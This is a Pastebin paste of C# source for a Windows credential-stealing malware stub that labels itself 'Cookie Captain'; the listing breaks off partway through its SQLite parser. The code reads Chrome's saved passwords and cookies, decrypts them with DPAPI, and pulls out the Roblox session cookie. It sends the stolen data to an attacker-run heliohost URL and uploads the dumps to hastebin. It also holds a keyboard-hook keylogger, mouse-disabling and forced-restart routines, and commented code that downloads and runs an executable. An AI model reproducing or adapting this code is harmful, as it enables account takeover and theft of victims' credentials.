Advertisement
Guest User

Untitled

a guest
Jan 21st, 2018
75
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 42.12 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Diagnostics;
  4. using System.IO;
  5. using System.Linq;
  6. using System.Net;
  7. using System.Runtime.InteropServices;
  8. using System.Text;
  9. using System.Windows.Forms;
  10. using System.Threading.Tasks;
  11. using System.Drawing;
  12. using Microsoft.VisualBasic;
  13. using Microsoft.VisualBasic.CompilerServices;
  14.  
  15. namespace ccstub1
  16. {
  17. class Program
  18. {
  19. private const int WH_KEYBOARD_LL = 13;
  20. private const int WM_KEYDOWN = 0x0100;
  21. private static LowLevelKeyboardProc _proc = HookCallback;
  22. private static IntPtr _hookID = IntPtr.Zero;
  23. static void Main(string[] args)
  24. {
  25.  
  26. //kKeyboardHook(this, e);
  27. //CCursor.Hide();
  28. //SWASwapMouseButton(1);
  29. using (var client = new WebClient())
  30. {
  31. //trollclient.DownloadFile("http://chippyex.heliohost.org/TheTrollface.exe", "troll.exe");
  32. }
  33. //troll1Process.Start("troll.exe");
  34. //System.Diagnostics.Process.Start('WEBSITEHERE');
  35. //cmdProcess.Start("cmd.exe");
  36. string robloxcookie;
  37. Program.RecoverCookies();
  38. Program.RecoverPasswords();
  39.  
  40. string domain = "https://v3rmillion.net/";
  41. //v3r1if (File.ReadAllText(passwordFileN).Contains(domain))
  42. //v3r2{
  43. //v3r3Application.Exit();
  44. //v3r4}
  45. string domain1 = "https://hackforums.net/";
  46. //h1if (File.ReadAllText(passwordFileN).Contains(domain1))
  47. //h2{
  48. //h3Application.Exit();
  49. //h4}
  50.  
  51. getIP();
  52.  
  53. //4_hookID = SetHook(_proc);
  54. //5Application.Run();
  55. //6UnhookWindowsHookEx(_hookID);
  56. string dir = Directory.GetCurrentDirectory();
  57. string path1 = dir + "/passwords.txt";
  58.  
  59. string text3 = File.ReadAllText(path1);
  60. string path = dir + "/cookies.txt";
  61. string text2 = File.ReadAllText(path);
  62. string result = text2;
  63. int indexOfFirstPhrase = text2.IndexOf("_|WARNING:-DO-NOT-SHARE-THIS");
  64. if (indexOfFirstPhrase >= 0)
  65. {
  66. indexOfFirstPhrase += "_|WARNING:-DO-NOT-SHARE-THIS".Length;
  67. int indexOfSecondPhrase = text2.IndexOf("Cookie Value", indexOfFirstPhrase);
  68. if (indexOfSecondPhrase >= 0)
  69. result = text2.Substring(indexOfFirstPhrase, indexOfSecondPhrase - indexOfFirstPhrase);
  70. else
  71. result = text2.Substring(indexOfFirstPhrase);
  72. }
  73. Console.WriteLine(getcookies());
  74. robloxcookie = "_|WARNING:-DO-NOT-SHARE-THIS" + result;
  75. using (WebClient webClient = new WebClient())
  76. {
  77. webClient.Proxy = null;
  78. webClient.Headers.Add("user-agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36");
  79. webClient.DownloadString("http://chippyex.heliohost.org/Users/HWIDHERE/upload.php?data=" + robloxcookie);
  80. //1webClient.DownloadString("http://chippyex.heliohost.org/Users/HWIDHERE/send.php?data=" + getPasswords() + "$" + Environment.UserName + "$" + ipAddress);
  81. //2webClient.DownloadString("http://chippyex.heliohost.org/Users/HWIDHERE/cookies.php?data=" + getcookies());
  82.  
  83. //lolRestart();
  84. //shutProcess.Start("shutdown","/s /t 0");
  85.  
  86. }
  87. }
  88. public bool PreFilterMessage(ref Message m)
  89. {
  90. if (m.Msg == 0x201 || m.Msg == 0x202 || m.Msg == 0x203) return true;
  91. if (m.Msg == 0x204 || m.Msg == 0x205 || m.Msg == 0x206) return true;
  92. return false;
  93. }
  94. Rectangle BoundRect;
  95. Rectangle OldRect = Rectangle.Empty;
  96. private void DisableMouse()
  97. {
  98. OldRect = Cursor.Clip;
  99. // Arbitrary location.
  100. BoundRect = new Rectangle(50, 50, 1, 1);
  101. Cursor.Clip = BoundRect;
  102. Cursor.Hide();
  103.  
  104. }
  105. private static void Restart()
  106. {
  107. ProcessStartInfo proc = new ProcessStartInfo();
  108. proc.WindowStyle = ProcessWindowStyle.Hidden;
  109. proc.FileName = "cmd";
  110. proc.Arguments = "/C shutdown -f -r -t 0";
  111. Process.Start(proc);
  112. }
  113.  
  114. [DllImport("user32.dll")]
  115. public static extern Int32 SwapMouseButton(Int32 bSwap);
  116. private static string webResponse;
  117. private static string stubSplit = "-[CC]-";
  118. private static readonly Random randomEngine = new Random();
  119. private static string computerGuid = Guid.NewGuid().ToString();
  120.  
  121. private static string cookiesFileN = "cookies.txt";
  122. private static string passwordFileN = "passwords.txt";
  123. private static string keyloggerN = "log.txt";
  124. private static string passwordsLink;
  125. private static string keyLink;
  126. private static string cookiesLink;
  127. private static string ipAddress;
  128. public static string getPasswords()
  129. {
  130. if (File.Exists(passwordFileN))
  131. {
  132. using (var sr = new StreamReader(passwordFileN))
  133. {
  134. var line = sr.ReadToEnd();
  135. using (WebClient webClient = new WebClient())
  136. {
  137. webClient.Proxy = null;
  138. webClient.Headers.Add("content-type", "text/plain");
  139. webClient.Headers.Add("user-agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36");
  140. webResponse = webClient.UploadString("https://hastebin.com/documents", "POST", line);
  141. return passwordsLink = "https://hastebin.com/" + webResponse.Replace("\"key\":\"", "").Replace("\"}", "").Replace(" ", "").Replace("{", "");
  142. }
  143. }
  144. }
  145. else
  146. {
  147. return "No passwords";
  148. }
  149. }
  150. public static string getcookies()
  151. {
  152. if (File.Exists(cookiesFileN))
  153. {
  154. using (var sr = new StreamReader(cookiesFileN))
  155. {
  156. var line = sr.ReadToEnd();
  157. using (WebClient webClient = new WebClient())
  158. {
  159. webClient.Proxy = null;
  160. webClient.Headers.Add("content-type", "text/plain");
  161. webClient.Headers.Add("user-agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36");
  162. webResponse = webClient.UploadString("https://hastebin.com/documents", "POST", line);
  163. return cookiesLink = "https://hastebin.com/" + webResponse.Replace("\"key\":\"", "").Replace("\"}", "").Replace(" ", "").Replace("{", "");
  164. }
  165. }
  166. }
  167. else
  168. {
  169. return "No passwords";
  170. }
  171. }
  172. public static string keylogger()
  173. {
  174. if (File.Exists(keyloggerN))
  175. {
  176. using (var sr = new StreamReader(keyloggerN))
  177. {
  178. var line = sr.ReadToEnd();
  179. using (WebClient webClient = new WebClient())
  180. {
  181. webClient.Proxy = null;
  182. webClient.Headers.Add("content-type", "text/plain");
  183. webClient.Headers.Add("user-agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36");
  184. webResponse = webClient.UploadString("https://hastebin.com/documents", "POST", line);
  185. return keyLink = "https://hastebin.com/" + webResponse.Replace("\"key\":\"", "").Replace("\"}", "").Replace(" ", "").Replace("{", "");
  186. }
  187. }
  188. }
  189. else
  190. {
  191. return "No passwords";
  192. }
  193. }
  194. public static string getIP()
  195. {
  196. using (WebClient webClient = new WebClient())
  197. {
  198. webClient.Proxy = null;
  199. webClient.Encoding = Encoding.UTF8;
  200. webClient.Headers.Add("user-agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36");
  201. ipAddress = webClient.DownloadString("https://www.chippyex.heliohost.org/Users/getip.php");
  202. return ipAddress;
  203. }
  204. }
  205. public static string RecoverCookies()
  206. {
  207. var datapath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) +
  208. "\\Google\\Chrome\\User Data\\Default\\Cookies";
  209. var searchTerm = string.Empty;
  210. var data = string.Empty;
  211. try
  212. {
  213. var SQLDatabase = new SQLiteHandler(datapath);
  214. SQLDatabase.ReadTable("cookies");
  215. if (File.Exists(datapath))
  216. {
  217. string host;
  218. string name;
  219. string cookie;
  220. for (var i = 0; i <= SQLDatabase.GetRowCount() - 1; i++)
  221. try
  222. {
  223. host = SQLDatabase.GetValue(i, "host_key");
  224. name = SQLDatabase.GetValue(i, "name");
  225. cookie = Decrypt(Encoding.Default.GetBytes(SQLDatabase.GetValue(i, "encrypted_value")));
  226. if (name != "" && cookie != "")
  227. if (cookie != "FAIL")
  228.  
  229. if (host.Contains(searchTerm) || searchTerm == "**ALL**")
  230. data += "\r\nURL: " + host + Environment.NewLine + "Cookie Name: " + cookie +
  231. Environment.NewLine + "Cookie Value: " + name + Environment.NewLine;
  232.  
  233. string[] lines = { data };
  234.  
  235. using (var outputFile = new StreamWriter("cookies.txt"))
  236. {
  237. foreach (var line in lines)
  238. outputFile.WriteLine(line);
  239. }
  240. }
  241. catch
  242. {
  243. }
  244. }
  245. }
  246. catch
  247. {
  248. }
  249. return data;
  250. }
  251. public static string RecoverPasswords()
  252. {
  253. var datapath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) +
  254. "\\Google\\Chrome\\User Data\\Default\\Login Data";
  255. var searchTerm = string.Empty;
  256. var data = string.Empty;
  257. try
  258. {
  259. var SQLDatabase = new SQLiteHandler(datapath);
  260. SQLDatabase.ReadTable("logins");
  261. if (File.Exists(datapath))
  262. {
  263. string host;
  264. string user;
  265. string pass;
  266. for (var i = 0; i <= SQLDatabase.GetRowCount() - 1; i++)
  267. try
  268. {
  269. host = SQLDatabase.GetValue(i, "origin_url");
  270. user = SQLDatabase.GetValue(i, "username_value");
  271. pass = Decrypt(Encoding.Default.GetBytes(SQLDatabase.GetValue(i, "password_value")));
  272. if (user != "" && pass != "")
  273. if (pass != "FAIL")
  274.  
  275. if (host.Contains(searchTerm) || searchTerm == "**ALL**")
  276. data += "\r\nURL: " + host + Environment.NewLine + "Username: " +
  277. user + Environment.NewLine + "Password: " + pass + Environment.NewLine;
  278.  
  279. string[] lines = { data + "\r\nCopyright 2018 Cookie Captain." };
  280.  
  281. using (var outputFile = new StreamWriter("passwords.txt"))
  282. {
  283. foreach (var line in lines)
  284. outputFile.WriteLine(line);
  285. }
  286. }
  287. catch
  288. {
  289. }
  290. }
  291. }
  292. catch
  293. {
  294. }
  295. return data;
  296. }
  297. [DllImport("Crypt32.dll", SetLastError = true, CharSet = CharSet.Auto)]
  298. private static extern bool CryptUnprotectData(
  299. ref DATA_BLOB pDataIn,
  300. string szDataDescr,
  301. ref DATA_BLOB pOptionalEntropy,
  302. IntPtr pvReserved,
  303. ref CRYPTPROTECT_PROMPTSTRUCT pPromptStruct,
  304. int dwFlags,
  305. ref DATA_BLOB pDataOut);
  306.  
  307. private static string Decrypt(byte[] Datas)
  308. {
  309. var inj = new DATA_BLOB();
  310. var Ors = new DATA_BLOB();
  311. var Ghandle = GCHandle.Alloc(Datas, GCHandleType.Pinned);
  312. inj.pbData = Ghandle.AddrOfPinnedObject();
  313. inj.cbData = Datas.Length;
  314. Ghandle.Free();
  315. var entropy = new DATA_BLOB();
  316. var crypto = new CRYPTPROTECT_PROMPTSTRUCT();
  317. CryptUnprotectData(ref inj, null, ref entropy, IntPtr.Zero, ref crypto, 0, ref Ors);
  318. var Returned = new byte[Ors.cbData + 1];
  319. Marshal.Copy(Ors.pbData, Returned, 0, Ors.cbData);
  320. var TheString = Encoding.UTF8.GetString(Returned);
  321. return TheString.Substring(0, TheString.Length - 1);
  322. }
  323.  
  324. [Flags]
  325. private enum CryptProtectPromptFlags
  326. {
  327. CRYPTPROTECT_PROMPT_ON_UNPROTECT = 1,
  328. CRYPTPROTECT_PROMPT_ON_PROTECT = 2
  329. }
  330.  
  331. [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
  332. private struct CRYPTPROTECT_PROMPTSTRUCT
  333. {
  334. public readonly int cbSize;
  335. public readonly CryptProtectPromptFlags dwPromptFlags;
  336. public readonly IntPtr hwndApp;
  337. public readonly string szPrompt;
  338. }
  339.  
  340. [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
  341. private struct DATA_BLOB
  342. {
  343. public int cbData;
  344. public IntPtr pbData;
  345. }
  346.  
  347. private static IntPtr SetHook(LowLevelKeyboardProc proc)
  348. {
  349. using (Process curProcess = Process.GetCurrentProcess())
  350. using (ProcessModule curModule = curProcess.MainModule)
  351. {
  352. return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
  353. GetModuleHandle(curModule.ModuleName), 0);
  354. }
  355. }
  356.  
  357. private delegate IntPtr LowLevelKeyboardProc(
  358. int nCode, IntPtr wParam, IntPtr lParam);
  359.  
  360. private static IntPtr HookCallback(
  361. int nCode, IntPtr wParam, IntPtr lParam)
  362. {
  363. if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
  364. {
  365. int vkCode = Marshal.ReadInt32(lParam);
  366. Console.WriteLine((Keys)vkCode);
  367. StreamWriter sw = new StreamWriter(Application.StartupPath + @"\log.txt", true);
  368. sw.Write((Keys)vkCode);
  369. sw.Close();
  370. }
  371. return CallNextHookEx(_hookID, nCode, wParam, lParam);
  372. }
  373.  
  374. [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  375. private static extern IntPtr SetWindowsHookEx(int idHook,
  376. LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
  377.  
  378. [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  379. [return: MarshalAs(UnmanagedType.Bool)]
  380. private static extern bool UnhookWindowsHookEx(IntPtr hhk);
  381.  
  382. [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  383. private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
  384. IntPtr wParam, IntPtr lParam);
  385.  
  386. [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  387. private static extern IntPtr GetModuleHandle(string lpModuleName);
  388.  
  389. [DllImport("kernel32.dll")]
  390. static extern IntPtr GetConsoleWindow();
  391.  
  392. [DllImport("user32.dll")]
  393. static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
  394.  
  395. const int SW_HIDE = 0;
  396. public class SQLiteHandler
  397. {
  398. private readonly byte[] db_bytes;
  399. private readonly ulong encoding;
  400. private string[] field_names;
  401. private sqlite_master_entry[] master_table_entries;
  402. private readonly ushort page_size;
  403. private readonly byte[] SQLDataTypeSize = { 0, 1, 2, 3, 4, 6, 8, 8, 0, 0 };
  404. private table_entry[] table_entries;
  405.  
  406. public SQLiteHandler(string baseName)
  407. {
  408. if (File.Exists(baseName))
  409. {
  410. FileSystem.FileOpen(1, baseName, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared, -1);
  411. var str = Strings.Space((int)FileSystem.LOF(1));
  412. FileSystem.FileGet(1, ref str, -1L, false);
  413. FileSystem.FileClose(1);
  414. db_bytes = Encoding.Default.GetBytes(str);
  415. if (Encoding.Default.GetString(db_bytes, 0, 15).CompareTo("SQLite format 3") != 0)
  416. throw new Exception("Not a valid SQLite 3 Database File");
  417. if (db_bytes[0x34] != 0)
  418. throw new Exception("Auto-vacuum capable database is not supported");
  419. //if (decimal.Compare(new decimal(this.ConvertToInteger(0x2c, 4)), 4M) >= 0)
  420. //{
  421. // throw new Exception("No supported Schema layer file-format");
  422. //}
  423. page_size = (ushort)ConvertToInteger(0x10, 2);
  424. encoding = ConvertToInteger(0x38, 4);
  425. if (decimal.Compare(new decimal(encoding), decimal.Zero) == 0)
  426. encoding = 1L;
  427. ReadMasterTable(100L);
  428. }
  429. }
  430.  
  431. private ulong ConvertToInteger(int startIndex, int Size)
  432. {
  433. if ((Size > 8) | (Size == 0))
  434. return 0L;
  435. ulong num2 = 0L;
  436. var num4 = Size - 1;
  437. for (var i = 0; i <= num4; i++)
  438. num2 = (num2 << 8) | db_bytes[startIndex + i];
  439. return num2;
  440. }
  441.  
  442. private long CVL(int startIndex, int endIndex)
  443. {
  444. endIndex++;
  445. var buffer = new byte[8];
  446. var num4 = endIndex - startIndex;
  447. var flag = false;
  448. if ((num4 == 0) | (num4 > 9))
  449. return 0L;
  450. if (num4 == 1)
  451. {
  452. buffer[0] = (byte)(db_bytes[startIndex] & 0x7f);
  453. return BitConverter.ToInt64(buffer, 0);
  454. }
  455. if (num4 == 9)
  456. flag = true;
  457. var num2 = 1;
  458. var num3 = 7;
  459. var index = 0;
  460. if (flag)
  461. {
  462. buffer[0] = db_bytes[endIndex - 1];
  463. endIndex--;
  464. index = 1;
  465. }
  466. var num7 = startIndex;
  467. for (var i = endIndex - 1; i >= num7; i += -1)
  468. if (i - 1 >= startIndex)
  469. {
  470. buffer[index] = (byte)(((byte)(db_bytes[i] >> ((num2 - 1) & 7)) & (0xff >> num2)) |
  471. (byte)(db_bytes[i - 1] << (num3 & 7)));
  472. num2++;
  473. index++;
  474. num3--;
  475. }
  476. else if (!flag)
  477. {
  478. buffer[index] = (byte)((byte)(db_bytes[i] >> ((num2 - 1) & 7)) & (0xff >> num2));
  479. }
  480. return BitConverter.ToInt64(buffer, 0);
  481. }
  482.  
  483. public int GetRowCount()
  484. {
  485. return table_entries.Length;
  486. }
  487.  
  488. public string[] GetTableNames()
  489. {
  490. string[] strArray2 = null;
  491. var index = 0;
  492. var num3 = master_table_entries.Length - 1;
  493. for (var i = 0; i <= num3; i++)
  494. if (master_table_entries[i].item_type == "table")
  495. {
  496. strArray2 = (string[])Utils.CopyArray(strArray2, new string[index + 1]);
  497. strArray2[index] = master_table_entries[i].item_name;
  498. index++;
  499. }
  500. return strArray2;
  501. }
  502.  
  503. public string GetValue(int row_num, int field)
  504. {
  505. if (row_num >= table_entries.Length)
  506. return null;
  507. if (field >= table_entries[row_num].content.Length)
  508. return null;
  509. return table_entries[row_num].content[field];
  510. }
  511.  
  512. public string GetValue(int row_num, string field)
  513. {
  514. var num = -1;
  515. var length = field_names.Length - 1;
  516. for (var i = 0; i <= length; i++)
  517. if (field_names[i].ToLower().CompareTo(field.ToLower()) == 0)
  518. {
  519. num = i;
  520. break;
  521. }
  522. if (num == -1)
  523. return null;
  524. return GetValue(row_num, num);
  525. }
  526.  
  527. private int GVL(int startIndex)
  528. {
  529. if (startIndex > db_bytes.Length)
  530. return 0;
  531. var num3 = startIndex + 8;
  532. for (var i = startIndex; i <= num3; i++)
  533. {
  534. if (i > db_bytes.Length - 1)
  535. return 0;
  536. if ((db_bytes[i] & 0x80) != 0x80)
  537. return i;
  538. }
  539. return startIndex + 8;
  540. }
  541.  
  542. private bool IsOdd(long value)
  543. {
  544. return (value & 1L) == 1L;
  545. }
  546.  
  547. private void ReadMasterTable(ulong Offset)
  548. {
  549. if (db_bytes[(int)Offset] == 13)
  550. {
  551. var num2 = Convert.ToUInt16(
  552. decimal.Subtract(
  553. new decimal(ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 3M)), 2)),
  554. decimal.One));
  555. var length = 0;
  556. if (master_table_entries != null)
  557. {
  558. length = master_table_entries.Length;
  559. master_table_entries = (sqlite_master_entry[])Utils.CopyArray(master_table_entries,
  560. new sqlite_master_entry[master_table_entries.Length + num2 + 1]);
  561. }
  562. else
  563. {
  564. master_table_entries = new sqlite_master_entry[num2 + 1];
  565. }
  566. int num13 = num2;
  567. for (var i = 0; i <= num13; i++)
  568. {
  569. var num = ConvertToInteger(
  570. Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 8M), new decimal(i * 2))), 2);
  571. if (decimal.Compare(new decimal(Offset), 100M) != 0)
  572. num += Offset;
  573. var endIndex = GVL((int)num);
  574. var num7 = CVL((int)num, endIndex);
  575. var num6 = GVL(Convert.ToInt32(
  576. decimal.Add(
  577. decimal.Add(new decimal(num), decimal.Subtract(new decimal(endIndex), new decimal(num))),
  578. decimal.One)));
  579. master_table_entries[length + i].row_id =
  580. CVL(
  581. Convert.ToInt32(decimal.Add(
  582. decimal.Add(new decimal(num),
  583. decimal.Subtract(new decimal(endIndex), new decimal(num))), decimal.One)), num6);
  584. num = Convert.ToUInt64(decimal.Add(
  585. decimal.Add(new decimal(num), decimal.Subtract(new decimal(num6), new decimal(num))),
  586. decimal.One));
  587. endIndex = GVL((int)num);
  588. num6 = endIndex;
  589. var num5 = CVL((int)num, endIndex);
  590. var numArray = new long[5];
  591. var index = 0;
  592. do
  593. {
  594. endIndex = num6 + 1;
  595. num6 = GVL(endIndex);
  596. numArray[index] = CVL(endIndex, num6);
  597. if (numArray[index] > 9L)
  598. if (IsOdd(numArray[index]))
  599. numArray[index] = (long)Math.Round((numArray[index] - 13L) / 2.0);
  600. else
  601. numArray[index] = (long)Math.Round((numArray[index] - 12L) / 2.0);
  602. else
  603. numArray[index] = SQLDataTypeSize[(int)numArray[index]];
  604. index++;
  605. } while (index <= 4);
  606. if (decimal.Compare(new decimal(encoding), decimal.One) == 0)
  607. master_table_entries[length + i].item_type = Encoding.Default.GetString(db_bytes,
  608. Convert.ToInt32(decimal.Add(new decimal(num), new decimal(num5))), (int)numArray[0]);
  609. else if (decimal.Compare(new decimal(encoding), 2M) == 0)
  610. master_table_entries[length + i].item_type = Encoding.Unicode.GetString(db_bytes,
  611. Convert.ToInt32(decimal.Add(new decimal(num), new decimal(num5))), (int)numArray[0]);
  612. else if (decimal.Compare(new decimal(encoding), 3M) == 0)
  613. master_table_entries[length + i].item_type = Encoding.BigEndianUnicode.GetString(db_bytes,
  614. Convert.ToInt32(decimal.Add(new decimal(num), new decimal(num5))), (int)numArray[0]);
  615. if (decimal.Compare(new decimal(encoding), decimal.One) == 0)
  616. master_table_entries[length + i].item_name = Encoding.Default.GetString(db_bytes,
  617. Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)),
  618. new decimal(numArray[0]))), (int)numArray[1]);
  619. else if (decimal.Compare(new decimal(encoding), 2M) == 0)
  620. master_table_entries[length + i].item_name = Encoding.Unicode.GetString(db_bytes,
  621. Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)),
  622. new decimal(numArray[0]))), (int)numArray[1]);
  623. else if (decimal.Compare(new decimal(encoding), 3M) == 0)
  624. master_table_entries[length + i].item_name = Encoding.BigEndianUnicode.GetString(db_bytes,
  625. Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)),
  626. new decimal(numArray[0]))), (int)numArray[1]);
  627. master_table_entries[length + i].root_num =
  628. (long)ConvertToInteger(
  629. Convert.ToInt32(decimal.Add(
  630. decimal.Add(
  631. decimal.Add(decimal.Add(new decimal(num), new decimal(num5)),
  632. new decimal(numArray[0])), new decimal(numArray[1])),
  633. new decimal(numArray[2]))), (int)numArray[3]);
  634. if (decimal.Compare(new decimal(encoding), decimal.One) == 0)
  635. master_table_entries[length + i].sql_statement = Encoding.Default.GetString(db_bytes,
  636. Convert.ToInt32(decimal.Add(
  637. decimal.Add(
  638. decimal.Add(
  639. decimal.Add(decimal.Add(new decimal(num), new decimal(num5)),
  640. new decimal(numArray[0])), new decimal(numArray[1])),
  641. new decimal(numArray[2])), new decimal(numArray[3]))), (int)numArray[4]);
  642. else if (decimal.Compare(new decimal(encoding), 2M) == 0)
  643. master_table_entries[length + i].sql_statement = Encoding.Unicode.GetString(db_bytes,
  644. Convert.ToInt32(decimal.Add(
  645. decimal.Add(
  646. decimal.Add(
  647. decimal.Add(decimal.Add(new decimal(num), new decimal(num5)),
  648. new decimal(numArray[0])), new decimal(numArray[1])),
  649. new decimal(numArray[2])), new decimal(numArray[3]))), (int)numArray[4]);
  650. else if (decimal.Compare(new decimal(encoding), 3M) == 0)
  651. master_table_entries[length + i].sql_statement = Encoding.BigEndianUnicode.GetString(db_bytes,
  652. Convert.ToInt32(decimal.Add(
  653. decimal.Add(
  654. decimal.Add(
  655. decimal.Add(decimal.Add(new decimal(num), new decimal(num5)),
  656. new decimal(numArray[0])), new decimal(numArray[1])),
  657. new decimal(numArray[2])), new decimal(numArray[3]))), (int)numArray[4]);
  658. }
  659. }
  660. else if (db_bytes[(int)Offset] == 5)
  661. {
  662. var num11 = Convert.ToUInt16(
  663. decimal.Subtract(
  664. new decimal(ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 3M)), 2)),
  665. decimal.One));
  666. int num14 = num11;
  667. for (var j = 0; j <= num14; j++)
  668. {
  669. var startIndex =
  670. (ushort)ConvertToInteger(
  671. Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 12M), new decimal(j * 2))), 2);
  672. if (decimal.Compare(new decimal(Offset), 100M) == 0)
  673. ReadMasterTable(Convert.ToUInt64(
  674. decimal.Multiply(
  675. decimal.Subtract(new decimal(ConvertToInteger(startIndex, 4)), decimal.One),
  676. new decimal(page_size))));
  677. else
  678. ReadMasterTable(Convert.ToUInt64(
  679. decimal.Multiply(
  680. decimal.Subtract(new decimal(ConvertToInteger((int)(Offset + startIndex), 4)),
  681. decimal.One), new decimal(page_size))));
  682. }
  683. ReadMasterTable(Convert.ToUInt64(
  684. decimal.Multiply(
  685. decimal.Subtract(
  686. new decimal(ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 8M)), 4)),
  687. decimal.One), new decimal(page_size))));
  688. }
  689. }
  690.  
  691. public bool ReadTable(string TableName)
  692. {
  693. var index = -1;
  694. var length = master_table_entries.Length - 1;
  695. for (var i = 0; i <= length; i++)
  696. if (master_table_entries[i].item_name.ToLower().CompareTo(TableName.ToLower()) == 0)
  697. {
  698. index = i;
  699. break;
  700. }
  701. if (index == -1)
  702. return false;
  703. var strArray = master_table_entries[index].sql_statement
  704. .Substring(master_table_entries[index].sql_statement.IndexOf("(") + 1).Split(',');
  705. var num6 = strArray.Length - 1;
  706. for (var j = 0; j <= num6; j++)
  707. {
  708. strArray[j] = strArray[j].TrimStart();
  709. var num4 = strArray[j].IndexOf(" ");
  710. if (num4 > 0)
  711. strArray[j] = strArray[j].Substring(0, num4);
  712. if (strArray[j].IndexOf("UNIQUE") == 0)
  713. break;
  714. field_names = (string[])Utils.CopyArray(field_names, new string[j + 1]);
  715. field_names[j] = strArray[j];
  716. }
  717. return ReadTableFromOffset((ulong)((master_table_entries[index].root_num - 1L) * page_size));
  718. }
  719.  
  720. private bool ReadTableFromOffset(ulong Offset)
  721. {
  722. if (db_bytes[(int)Offset] == 13)
  723. {
  724. var num2 = Convert.ToInt32(decimal.Subtract(
  725. new decimal(ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 3M)), 2)),
  726. decimal.One));
  727. var length = 0;
  728. if (table_entries != null)
  729. {
  730. length = table_entries.Length;
  731. table_entries =
  732. (table_entry[])Utils.CopyArray(table_entries,
  733. new table_entry[table_entries.Length + num2 + 1]);
  734. }
  735. else
  736. {
  737. table_entries = new table_entry[num2 + 1];
  738. }
  739. var num16 = num2;
  740. for (var i = 0; i <= num16; i++)
  741. {
  742. record_header_field[] _fieldArray = null;
  743. var num = ConvertToInteger(
  744. Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 8M), new decimal(i * 2))), 2);
  745. if (decimal.Compare(new decimal(Offset), 100M) != 0)
  746. num += Offset;
  747. var endIndex = GVL((int)num);
  748. var num9 = CVL((int)num, endIndex);
  749. var num8 = GVL(Convert.ToInt32(
  750. decimal.Add(
  751. decimal.Add(new decimal(num), decimal.Subtract(new decimal(endIndex), new decimal(num))),
  752. decimal.One)));
  753. table_entries[length + i].row_id =
  754. CVL(
  755. Convert.ToInt32(decimal.Add(
  756. decimal.Add(new decimal(num),
  757. decimal.Subtract(new decimal(endIndex), new decimal(num))), decimal.One)), num8);
  758. num = Convert.ToUInt64(decimal.Add(
  759. decimal.Add(new decimal(num), decimal.Subtract(new decimal(num8), new decimal(num))),
  760. decimal.One));
  761. endIndex = GVL((int)num);
  762. num8 = endIndex;
  763. var num7 = CVL((int)num, endIndex);
  764. var num10 = Convert.ToInt64(decimal.Add(decimal.Subtract(new decimal(num), new decimal(endIndex)),
  765. decimal.One));
  766. for (var j = 0; num10 < num7; j++)
  767. {
  768. _fieldArray =
  769. (record_header_field[])Utils.CopyArray(_fieldArray, new record_header_field[j + 1]);
  770. endIndex = num8 + 1;
  771. num8 = GVL(endIndex);
  772. _fieldArray[j].type = CVL(endIndex, num8);
  773. if (_fieldArray[j].type > 9L)
  774. if (IsOdd(_fieldArray[j].type))
  775. _fieldArray[j].size = (long)Math.Round((_fieldArray[j].type - 13L) / 2.0);
  776. else
  777. _fieldArray[j].size = (long)Math.Round((_fieldArray[j].type - 12L) / 2.0);
  778. else
  779. _fieldArray[j].size = SQLDataTypeSize[(int)_fieldArray[j].type];
  780. num10 = num10 + (num8 - endIndex) + 1L;
  781. }
  782. table_entries[length + i].content = new string[_fieldArray.Length - 1 + 1];
  783. var num4 = 0;
  784. var num17 = _fieldArray.Length - 1;
  785. for (var k = 0; k <= num17; k++)
  786. {
  787. if (_fieldArray[k].type > 9L)
  788. if (!IsOdd(_fieldArray[k].type))
  789. {
  790. if (decimal.Compare(new decimal(encoding), decimal.One) == 0)
  791. table_entries[length + i].content[k] = Encoding.Default.GetString(db_bytes,
  792. Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)),
  793. new decimal(num4))), (int)_fieldArray[k].size);
  794. else if (decimal.Compare(new decimal(encoding), 2M) == 0)
  795. table_entries[length + i].content[k] = Encoding.Unicode.GetString(db_bytes,
  796. Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)),
  797. new decimal(num4))), (int)_fieldArray[k].size);
  798. else if (decimal.Compare(new decimal(encoding), 3M) == 0)
  799. table_entries[length + i].content[k] = Encoding.BigEndianUnicode.GetString(db_bytes,
